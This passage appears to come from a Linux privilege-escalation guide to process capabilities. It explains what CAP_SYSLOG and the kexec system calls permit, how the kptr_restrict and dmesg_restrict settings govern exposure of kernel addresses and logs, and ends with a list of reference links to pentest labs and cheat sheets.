This capability also permits use of the `kexec_load(2)` system call, which loads a new crash kernel and as of Linux 3.17, the `kexec_file_load(2)` which also will load signed kernels.
|
||
|
||
## CAP\_SYSLOG
|
||
|
||
[CAP\_SYSLOG](https://man7.org/linux/man-pages/man7/capabilities.7.html) was finally forked in Linux 2.6.37 from the `CAP_SYS_ADMIN` catchall, this capability allows the process to use the `syslog(2)` system call. This also allows the process to view kernel addresses exposed via `/proc` and other interfaces when `/proc/sys/kernel/kptr_restrict` is set to 1.
|
||
|
||
The `kptr_restrict` sysctl setting was introduced in 2.6.38, and determines if kernel addresses are exposed. This defaults to zero (exposing kernel addresses) since 2.6.39 within the vanilla kernel, although many distributions correctly set the value to 1 (hide from everyone accept uid 0) or 2 (always hide).
|
||
|
||
In addition, this capability also allows the process to view `dmesg` output, if the `dmesg_restrict` setting is 1. Finally, the `CAP_SYS_ADMIN` capability is still permitted to perform `syslog` operations itself for historical reasons.
|
||
|
||
## References
|
||
|
||
**Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs.
|
||
|
||
**Other references**:
|
||
|
||
* [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux)
|
||
* [https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/)
|
||
* [https://linux-audit.com/linux-capabilities-101/](https://linux-audit.com/linux-capabilities-101/)
|
||
* [https://www.linuxjournal.com/article/5737](https://www.linuxjournal.com/article/5737)
|
||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap\_sys\_module](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap\_sys\_module)
|
||
|
||
<details>
|
||
|
||
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|
||
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|
||
|
||
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|